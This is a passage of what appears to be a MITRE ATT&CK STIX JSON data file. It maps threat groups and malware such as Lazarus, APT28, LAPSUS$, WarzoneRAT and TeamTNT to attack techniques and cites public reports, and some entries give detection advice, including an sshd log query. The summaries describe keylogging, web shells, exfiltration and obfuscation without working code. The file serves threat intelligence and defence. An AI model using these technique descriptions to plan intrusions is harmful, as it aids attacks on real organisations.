Feb 2018", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/", "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018."}, {"source_name": "McAfee GhostSecret", "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/", "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware also uses a unique form of communication encryption known as FakeTLS that mimics TLS but uses a different encryption method, potentially evading SSL traffic inspection/decryption.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: McAfee Lazarus Resurfaces Feb 2018)(Citation: McAfee GhostSecret)", "modified": "2022-07-28T18:55:35.997Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "target_ref": "attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--0b267d23-7c3c-41cd-878e-5466e0743340", "created": "2024-03-01T19:18:12.524Z", "revoked": false, "external_references": [{"source_name": "Leonard TAG 2023", "description": "Billy Leonard. (2023, April 19). Ukraine remains Russia\u2019s biggest cyber focus in 2023. Retrieved March 1, 2024.", "url": "https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-01T19:18:12.524Z", "description": "[APT28](https://attack.mitre.org/groups/G0007) hosted phishing domains on free services for brief periods of time during campaigns.(Citation: Leonard TAG 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0b2b0719-c82e-4d1f-b34c-7ed5dd5c8968", "type": "relationship", "created": "2020-06-30T22:03:27.016Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET ComRAT May 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."}], "modified": "2020-06-30T22:03:27.016Z", "description": "[ComRAT](https://attack.mitre.org/software/S0126) can use email attachments for command and control.(Citation: ESET ComRAT May 2020)", "relationship_type": "uses", "source_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565", "target_ref": "attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--0b2b567c-718c-485f-b187-2bf6c6bb0c76", "created": "2022-10-18T15:43:44.196Z", "revoked": false, "external_references": [{"source_name": "Unit 42 PingPull Jun 2022", "description": "Unit 42. (2022, June 13). GALLIUM Expands Targeting Across Telecommunications, Government and Finance Sectors With New PingPull Tool. Retrieved August 7, 2022.", "url": "https://unit42.paloaltonetworks.com/pingpull-gallium/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-18T15:43:44.196Z", "description": "[PingPull](https://attack.mitre.org/software/S1031) can use HTTPS over port 8080 for C2.(Citation: Unit 42 PingPull Jun 2022)", "relationship_type": "uses", "source_ref": "malware--3a0f6128-0a01-421d-8eca-e57d8671b1f1", "target_ref": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0b2d53db-2f5c-4dc7-97de-f0c12e22472c", "type": "relationship", "created": "2022-02-18T13:42:42.410Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Roadtools", "url": "https://dirkjanm.io/introducing-roadtools-and-roadrecon-azure-ad-exploration-framework/", "description": "Dirk-jan Mollema. (2020, April 16). Introducing ROADtools - The Azure AD exploration framework. Retrieved January 31, 2022."}], "modified": "2022-04-01T13:27:48.564Z", "description": "[ROADTools](https://attack.mitre.org/software/S0684) can enumerate Azure AD systems and devices.(Citation: Roadtools)", "relationship_type": "uses", "source_ref": "tool--6dbdc657-d8e0-4f2f-909b-7251b3e72c6d", "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--0b2f8d87-ea92-48a8-a895-5fe98b01d2b6", "created": "2022-03-30T14:26:51.867Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-08-11T20:23:43.538Z", "description": "Monitor for user accounts logged into systems that may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). For example, on Linux systems SSH logon activity can be found in the logs located in <code>/var/log/auth.log</code> or <code>/var/log/secure</code> depending on the distro you are using.\n\nFor Linux systems, the Audit framework (auditd) can be used to monitor any writes to SSH log files that store information about logged in accounts such as /var/log/auth.log.\n\nFor macOS systems (10.12+), Unified Logs can be queried to show SSH daemon (sshd) messages that include information on logged in accounts. The following command-line can be used to query the last hour\u2019s worth of unified logs in this manner: <code>log show -info --debug --predicate 'processImagePath CONTAINS \"sshd\" AND eventMessage CONTAINS \"Accepted\"' --last 1h | grep sshd </code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", "target_ref": "attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--0b33093f-14c3-485e-8d82-f04ebcbe6d01", "created": "2022-06-10T16:24:47.495Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "MSTIC DEV-0537 Mar 2022", "description": "MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022.", "url": "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-12T12:34:05.173Z", "description": "[LAPSUS$](https://attack.mitre.org/groups/G1004) uploaded sensitive files, information, and credentials from a targeted organization for extortion or public release.(Citation: MSTIC DEV-0537 Mar 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0b36c1d0-d016-4c12-bf61-6dc14b29c7e0", "type": "relationship", "created": "2017-05-31T21:33:27.062Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Dell TG-3390", "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"}], "modified": "2019-07-14T21:15:55.098Z", "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) actors have split RAR files for exfiltration into parts.(Citation: Dell TG-3390)", "relationship_type": "uses", "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", "target_ref": "attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0b37289c-b118-45f7-98b2-5efe06cbf0b2", "type": "relationship", "created": "2020-06-02T15:39:14.548Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 CARROTBAT November 2018", "url": "https://unit42.paloaltonetworks.com/unit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia/", "description": "Grunzweig, J. and Wilhoit, K. (2018, November 29). The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia. Retrieved June 2, 2020."}, {"source_name": "Unit 42 CARROTBAT January 2020", "url": "https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/", "description": "McCabe, A. (2020, January 23). The Fractured Statue Campaign: U.S. Government Agency Targeted in Spear-Phishing Attacks. Retrieved June 2, 2020."}], "modified": "2020-06-10T15:05:57.806Z", "description": "[CARROTBAT](https://attack.mitre.org/software/S0462) has the ability to determine the operating system of the compromised host and whether Windows is being run with x86 or x64 architecture.(Citation: Unit 42 CARROTBAT November 2018)(Citation: Unit 42 CARROTBAT January 2020)", "relationship_type": "uses", "source_ref": "malware--1b9f0800-035e-4ed1-9648-b18294cc5bc8", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0b3809c3-78a5-4121-9b51-64a9dfa60b11", "type": "relationship", "created": "2021-10-12T22:10:04.292Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist DarkVishnya Dec 2018", "url": "https://securelist.com/darkvishnya/89169/", "description": "Golovanov, S. (2018, December 6). DarkVishnya: Banks attacked through direct connection to local network. Retrieved May 15, 2020."}], "modified": "2021-10-12T22:10:04.292Z", "description": "[DarkVishnya](https://attack.mitre.org/groups/G0105) has obtained and used tools such as [Impacket](https://attack.mitre.org/software/S0357), [Winexe](https://attack.mitre.org/software/S0191), and [PsExec](https://attack.mitre.org/software/S0029).(Citation: Securelist DarkVishnya Dec 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--813636db-3939-4a45-bea9-6113e970c029", "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--0b3b2d98-213c-487f-b526-9336c2ed4555", "created": "2021-12-27T17:40:56.729Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Check Point Warzone Feb 2020", "url": "https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/", "description": "Harakhavik, Y. (2020, February 3). Warzone: Behind the enemy lines. Retrieved December 17, 2021."}, {"source_name": "Uptycs Warzone UAC Bypass November 2020", "url": "https://www.uptycs.com/blog/warzone-rat-comes-with-uac-bypass-technique", "description": "Mohanta, A. (2020, November 25). Warzone RAT comes with UAC bypass technique. Retrieved April 7, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[WarzoneRAT](https://attack.mitre.org/software/S0670) has the capability to install a live and offline keylogger, including through the use of the `GetAsyncKeyState` Windows API.(Citation: Check Point Warzone Feb 2020)(Citation: Uptycs Warzone UAC Bypass November 2020) ", "modified": "2022-04-15T14:30:04.859Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--fde19a18-e502-467f-be14-58c71b4e7f4b", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0b3fcc39-fb57-45a6-a491-e5bcd9a29d51", "type": "relationship", "created": "2022-03-30T14:26:51.859Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.859Z", "description": "Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.", "source_ref": "x-mitre-data-component--1dad5aa4-4bb5-45e4-9e42-55d40003cfa6", "target_ref": "attack-pattern--ce0687a0-e692-4b77-964a-0784a8e54ff1", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Splunk Kovar Certificates 2017", "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.", "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html"}, {"source_name": "Recorded Future Beacon Certificates", "description": "Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved October 16, 2020.", "url": "https://www.recordedfuture.com/cobalt-strike-servers/"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0b41b24d-3a8b-4d73-95bf-9b5b486978d8", "type": "relationship", "created": "2021-04-13T13:10:37.036Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ANSSI Sandworm January 2021", "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf", "description": "ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."}], "modified": "2021-04-13T13:10:37.036Z", "description": "[P.A.S. Webshell](https://attack.mitre.org/software/S0598) can gain remote access and execution on target web servers.(Citation: ANSSI Sandworm January 2021)", "relationship_type": "uses", "source_ref": "malware--4800d0f9-00aa-47cd-a4d2-92198585b8fd", "target_ref": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0b440f89-cffb-458c-bc16-c64af09230c6", "type": "relationship", "created": "2021-09-28T19:57:30.599Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Checkpoint IndigoZebra July 2021", "url": "https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/", "description": "CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."}], "modified": "2021-09-28T20:02:51.497Z", "description": "[BoxCaon](https://attack.mitre.org/software/S0651) can execute arbitrary commands and utilize the \"ComSpec\" environment variable.(Citation: Checkpoint IndigoZebra July 2021)", "relationship_type": "uses", "source_ref": "malware--919a056e-5104-43b9-ad55-2ac929108b71", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--0b46eb26-ebc0-4fa7-8925-9b775571f793", "created": "2021-10-01T01:57:31.612Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "ATT TeamTNT Chimaera September 2020", "description": "AT&T Alien Labs. (2021, September 8). TeamTNT with new campaign aka Chimaera. Retrieved September 22, 2021.", "url": "https://cybersecurity.att.com/blogs/labs-research/teamtnt-with-new-campaign-aka-chimaera"}, {"source_name": "Cisco Talos Intelligence Group", "description": "Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. Retrieved August 4, 2022.", "url": "https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-12-01T17:31:07.699Z", "description": "[TeamTNT](https://attack.mitre.org/groups/G0139) has used a payload that removes itself after running. [TeamTNT](https://attack.mitre.org/groups/G0139) also has deleted locally staged files for collecting credentials or scan results for local IP addresses after exfiltrating them.(Citation: ATT TeamTNT Chimaera September 2020)(Citation: Cisco Talos Intelligence Group)", "relationship_type": "uses", "source_ref": "intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0b4cd78b-e0af-4123-b2aa-02ad66cca419", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Briba May 2012", "description": "Ladley, F. (2012, May 15). Backdoor.Briba. Retrieved February 21, 2018.", "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-2843-99"}], "modified": "2021-02-09T14:56:14.783Z", "description": "[Briba](https://attack.mitre.org/software/S0204) installs a service pointing to a malicious DLL dropped to disk.(Citation: Symantec Briba May 2012)", "relationship_type": "uses", "source_ref": "malware--79499993-a8d6-45eb-b343-bf58dea5bdde", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0b4ebc81-20fe-45f1-a93f-e6ca03c89114", "type": "relationship", "created": "2020-03-18T18:52:41.021Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.", "url": "http://blog.morphisec.com/security-alert-fin8-is-back", "source_name": "Morphisec ShellTea June 2019"}], "modified": "2020-03-18T18:52:41.021Z", "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) has used python scripts.(Citation: Morphisec ShellTea June 2019)", "relationship_type": "uses", "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0b512662-8eb8-424d-99c5-4f76d1d70276", "type": "relationship", "created": "2021-05-26T12:46:28.310Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Waterbug Jun 2019", "url": "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments", "description": "Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019."}], "modified": "2021-05-26T12:46:28.310Z", "description": "[Turla](https://attack.mitre.org/groups/G0010) has obtained and customized publicly-available tools like [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: Symantec Waterbug Jun 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--0b51c002-4a22-413c-9d6d-ffd7fd625736", "created": "2023-09-18T18:37:28.483Z", "revoked": false, "external_references": [{"source_name": "Cisco Operation Layover September 2021", "description": "Ventura, V. (2021, September 16). Operation Layover: How we tracked an attack on the aviation industry to five years of compromise. Retrieved September 15, 2023.", "url": "https://blog.talosintelligence.com/operation-layover-how-we-tracked-attack/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-18T18:37:28.483Z", "description": "[TA2541](https://attack.mitre.org/groups/G1018) has used TLS encrypted C2 communications including for campaigns using AsyncRAT.(Citation: Cisco Operation Layover September 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0", "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0b582433-b5e6-49d7-886c-e1edd1a0a802", "type": "relationship", "created": "2020-05-06T21:31:07.597Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Okrum July 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf", "description": "Hromcova, Z. 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Retrieved November 3, 2022.", "url": "https://www.secureworks.com/research/darktortilla-malware-analysis"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-06T21:28:52.596Z", "description": "[DarkTortilla](https://attack.mitre.org/software/S1066) has been obfuscated with the DeepSea .NET and ConfuserEx code obfuscators.(Citation: Secureworks DarkTortilla Aug 2022)", "relationship_type": "uses", "source_ref": "malware--5faaf81a-aa5b-4a4b-bae5-522439e068f8", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--0b5cb547-b027-4a30-84de-d9d1df2495d0", "created": "2023-08-03T21:05:05.908Z", "revoked": false, "external_references": [{"source_name": "Crowdstrike Indrik November 2018", "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021.", "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-08-03T21:05:05.908Z", "description": "[Indrik Spider](https://attack.mitre.org/groups/G0119) has developed malware for their operations, including ransomware such as [BitPaymer](https://attack.mitre.org/software/S0570) and [WastedLocker](https://attack.mitre.org/software/S0612).(Citation: Crowdstrike Indrik November 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07", "target_ref": "attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0b5d6b32-8402-49c0-9b30-336da6d77c73", "type": "relationship", "created": "2022-03-30T14:26:51.850Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.850Z", "description": "Monitor for changes made to files that may use hidden users to mask the presence of user accounts they create or modify. Monitor for changes made to the <code>/Library/Preferences/com.apple.loginwindow</code> plist file for unexpected modifications to the <code> Hide500Users</code> key value on macOS.(Citation: Cybereason OSX Pirrit)", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--8c4aef43-48d5-49aa-b2af-c0cd58d30c3d", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason OSX Pirrit", "description": "Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. 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Retrieved November 12, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Clambling](https://attack.mitre.org/software/S0660) has the ability to use TCP and UDP for communication.(Citation: Trend Micro DRBControl February 2020)", "modified": "2022-04-15T14:10:52.844Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--6e95feb1-78ee-48d3-b421-4d76663b5c49", "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0b9a4cdc-8305-49ec-879f-6cfa35763af2", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques", "description": "Sharma, R. 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Retrieved April 23, 2019."}], "modified": "2020-03-16T17:01:17.809Z", "description": "[jRAT](https://attack.mitre.org/software/S0283) has the capability to log keystrokes from the victim\u2019s machine, both offline and online.(Citation: jRAT Symantec Aug 2018)(Citation: Kaspersky Adwind Feb 2016)", "relationship_type": "uses", "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--0baf5506-35fb-4508-ba9a-09ca2962df43", "created": "2022-04-13T16:28:01.616Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Malwarebytes Konni Aug 2021", "url": "https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/", "description": "Threat Intelligence Team. (2021, August 23). New variant of Konni malware used in campaign targetting Russia. Retrieved January 5, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[KONNI](https://attack.mitre.org/software/S0356) has relied on a victim to enable malicious macros within an attachment delivered via email.(Citation: Malwarebytes Konni Aug 2021)", "modified": "2022-04-13T17:29:03.013Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", 